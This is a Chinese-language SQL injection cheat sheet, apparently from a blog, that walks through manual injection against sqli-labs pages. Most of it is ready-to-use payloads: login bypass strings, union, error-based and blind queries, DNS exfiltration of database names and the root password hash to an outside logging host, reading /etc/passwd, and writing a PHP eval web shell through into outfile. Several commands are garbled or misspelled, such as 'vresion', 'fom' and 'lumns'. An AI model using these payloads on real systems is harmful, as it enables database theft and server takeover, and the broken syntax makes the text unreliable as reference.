mysql常⽤注⼊命令_SQL注⼊常⽤命令1. 数据库查询版本
Mssql select @@version
Mysql select vresion()/select @@version
oracle select banner from ¥version
Postgresql select version()
2. 数据库常⽤命令
库操作
连接数据库 mysql -u ⽤户名 -p
创建数据库:create database 数据库名称、
删除数据库 drop database 数据库名称、
列出数据库 show databases
使⽤数据据库 use 数据库名称、
查看当前数据库 select database()
表操作
新建表create table 表名(键 varchar(10),键int(10))
列出表 show tables
删除表 delete 表名
数据操作
增加数据insert into 表名(键,键)values(值,值)
删除数据 delete from 表名 where 键=值(删除某⼀⾏数据)
修改数据 updata 表名 set 键 = 值 where 键=值
查询数据 select * fom 表名
存放数据库 information_ schema(存放schemata、 table、columns等等)
存放数据库名 schemata
表 table
字段 columns
3. SQL⼿⼯注⼊步骤
注⼊点寻
判断请求⽅式
浏览器F12 点⽹络
单引号闭合’ ‘
数字
单引号括号闭合(’ ‘)
双引号括号闭合(“ ”)
or 1=1
or 1=2
and 1=1
and 1=2
数字型注⼊
加单引号 错误出异常
and 1=1 正常
and 1=2 异常
字符型注⼊
加单引号 错误出异常
and ‘1’ = '1 正常
and ‘1’ = '2 异常
判断字段长度
order by 数字 可以判断字段的个数
也可以⽤猜字段 union select 1,2,3
判断字段回显位置
在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进⾏联合查询(联合查询时记得把前⾯的查询为空)来暴露可查询的字段号。
判断数据库注⼊
利⽤内置函数暴数据库信息
version()版本;database()数据库;user()⽤户;
不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
查数据库名
GET:IP/Less-1/?id=100’ union select 1,(select database()),3–+
POST:union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+
查看数据库长度length() and length(database())>10–+
查看数据库名字mid()或者left
mid (string,start,length)返回指定的字符串从指定位置开始(可以⽤来猜数据库名 ) and mid(database(),1,1)>‘a’
left (string,lenth) 返回最左边指定的字符数
and left(database(),1)>‘a’ (猜名字)
将查到的库名放到同⼀个字符串
select GROUP_CONCAT(schema_name) from information_schema.schemata
查到数单个据库名发送到ceye
union select 1,(select load_file(concat(’\\’,substr((select schema_name from information_schema.schemata limit
1),1,41),’.mysql.ip.io\abc’)))–+
查数据表
union select 1,(select group_concat(table_name) from information_schema.tables where table_sche
ma=‘security’) ,3
将单个表名发送到ceye
uname=1’) union select 3,(select load_file(concat(’\\’,substr((select table_name from information_schema.tables where table_schema =‘security’ limit 1),1,41),’.mysql.ip.io\abc’)))–+
查数据表中所有字段(列)
127.0.0.1/Less-3/?id=100’) union select 1,(select group_concat(column_name) from lumns where table_name=‘users’ and table_schema=‘security’) --+
获取内容
union select 1,(select group_concat(username) from security.users limit 0,1),3
查询某⼀个表的字段名发送到ceye
union select 1,(select load_file(concat(’\\’,substr((select column_name from lumns where
table_name=‘users’ and table_schema=‘security’ limit 1),1,41),’.mysql.ip.io\abc’)))–+
猜解账号密码
outfile⽂件注⼊
union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
into outfile ‘C:\phpStudy\PHPTutorial\WWW\’
查root密码ceye代码
127.0.0.1/Less-1/?id=1’ union SELECT 1,(LOAD_FILE(CONCAT(’\\’,mid((SELECT password FROM mysql.user WHERE user=‘root’ LIMIT 1),2,41),’.mysql.ip.io\abc’))),3–+
bug
uname=1’) or 1=1 into outfile ‘C:\phpStudy\PHPTutorial\WWW\’;–+
这个⽂件⾥会有所有的⽤户名和密码
查询数据
union select 1,(select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from users limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
绕过登陆验证
admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–
SQL注⼊常见函数
group_concat函数 可以把查询的内容组合成⼀个字符串
load_file(file name ) 读取⽂件并将⽂件按字符串返回
left(string,length)返回最左边指定的字符数:
left(database(),1)>‘s’ (猜名字)
length()判断长度
length(database()>5
substr(a,b,c)从字符串a中截取 b到c长度
ascii()将某个字符转为ascii值
ascii(substr(user(),1,1))=101#
mid((a,b,c)从字符串a中截取 b到c位置(可以⽤来猜数据库名 )
4.SQL注⼊⼿册
SQL注⼊常⽤命令
查看当前⽤户:union select 1,(select user())–+
查看数据库版本:union select 1,(select version())–+
查看当前数据库名:union select 1,(select database())–+
查看操作系统union select 1,(select @@version_compile_os)–+
所有⽤户:
union select 1,(select group_concat(user) from mysql.user)–
⽤户hash
union select 1,(select group_concat(password) from mysql.user where user=‘root’)
查看所有数据库名
union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
查看某⼀个库的全部表
union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘库名’)–+
union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=‘库名’
查看某个表的字段名
union select 1,(SELECT group_concat(column_name) from lumns where table_name=‘表名’)–+
查看某个库中某个表的字段名
union select 1,(select group_concat(column_name) from lumns where table_name=‘表名’ and table_schema=‘库名’)–+
读⽂件
union select 1,(SELECT load_file(’/etc/passwd’))–+
写⽂件
union select 1,’<?php @eval($_POST[360]);?>’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
UNION注⼊
猜字段长度
order by 数字 uname=1’ order by 2
暴字段位置mysql下载32位
union select 1,2 uname=1’ union select 1,2
在指定表中查询制指定⽤户的密码
union SELECT 1,password from 表 where username=‘⽤户名’–+
报错注⼊
floor (SELECT user()可修改)
OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–+
ExtractValue(有长度限制,最长32位) (select @@version可修改)
and extractvalue(1, concat(0x7e, (select @@version),0x7e))–+
UpdateXml(有长度限制,最长32位) (SELECT @@version可修改)
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)–+
NAME_CONST(适⽤于低版本,不太好⽤)
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)–+
Error based Double Query Injection
or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1–+
exp(5.5.5以上) (select user()可修改)
and (select exp(~(select * from(select user())x)))–+
floor(Mysql): and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
Extractvalue(Mysql): and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
Updatexml(Mysql): and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
EXP: and exp(~(select * from(select user())a));

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。